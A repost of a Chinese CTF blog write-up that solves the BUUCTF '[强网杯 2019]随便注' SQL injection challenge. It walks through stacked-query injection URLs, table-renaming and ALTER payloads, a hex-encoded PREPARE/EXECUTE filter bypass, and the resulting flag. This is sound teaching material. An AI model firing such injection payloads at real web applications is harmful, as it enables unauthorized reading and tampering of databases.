0


[强网杯 2019]随便注

[强网杯 2019]随便注

进入页面:

image-20221129164703490

又是一道sql注入,题目直接输了1,查询一下试一试:

image-20221129164556760

在1后面加个引号,报错闭合不正确:

image-20221129165441940

因此能够注入且是单引号闭合,开始注入:

http://633755ff-5743-45c1-9ffe-93631ba8beaf.node4.buuoj.cn:81/?inject=1' order by 3 --+

报错,改成order by 2就是正确的,因此数据库只有两列,接下来继续找显示位:

http://633755ff-5743-45c1-9ffe-93631ba8beaf.node4.buuoj.cn:81/?inject=1' union select 1,2 --+

有返回如下:

image-20221129165849761

大意应该是过滤了select,绕过一下,好的发现绕过不了,不管是编码还是注释都不行,因此这个题使用堆叠注入。

什么是堆叠注入?

就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。

一般select等被禁用时,可以考虑堆叠注入,构造payload如下:

http://2c83c7d5-34b2-4c9f-92a2-908b81909d86.node4.buuoj.cn:81/?inject=1' ;show database --+

这里补充一下show函数的用法:

(6条消息) MySQL show()函数详述_qq_36801966的博客-CSDN博客_mysql show函数

show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。
//这里大概就用到这些。

发现页面有回显:

image-20221129200636048

看看表:

http://2c83c7d5-34b2-4c9f-92a2-908b81909d86.node4.buuoj.cn:81/?inject=1' ;show tables --+

image-20221129200858872

这个,应该就有两个表的意思吧,先看看words,构造payload如下:

http://2c83c7d5-34b2-4c9f-92a2-908b81909d86.node4.buuoj.cn:81/?inject= 1'; show columns from `words`--+

注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,不能使用引号。

image-20221129201128017

再看看另一个表:(本来在这里我没有去看另一个表的,这件事告诉我们一定不要只看表面就偷懒。

image-20221129201439142

这里有flag。

这里又只能抄大佬作业了:

由show的作用可知,words表内就两个字段,一个叫id,一个叫data。

并且可以得知,该题作者在页面就查了这两个字段的内容,由于该题禁用select,因此我们可以用作者原本设定的查表函数来帮我们查我们想要查找的内容。因此我们对表进行改名:

用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data。

构造payload如下:

http://4a74d507-bd81-4639-8579-82aebaf359cb.node4.buuoj.cn:81/?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

回显如下:
image-20221129210023348

得到flag:flag{ab4b598b-f443-44a2-a14e-d27d2b69acef}

这里补充一下alter:

//alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名

解法二:

由于select被过滤了,因此将select * from ` 1919810931114514``进行十六进制编码,再构造payload。

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

知识点:

  1. prepare…from…是预处理语句,会进行编码转换。
  2. execute用来执行由SQLPrepare创建的SQL语句。
  3. SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

解法三:

一点没看懂。

[(6条消息) BUUCTF强网杯 2019]随便注 的三种解法_天问_Herbert555的博客-CSDN博客_buuctf 随便注

用到的知识点:

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭。

好的现在大概理解了一点点,开摆。


本文转载自: https://blog.csdn.net/m0_56691564/article/details/128123951
版权归原作者 今天小白努力学习了吗 所有, 如有侵权,请联系我们删除。

“[强网杯 2019]随便注”的评论:

还没有评论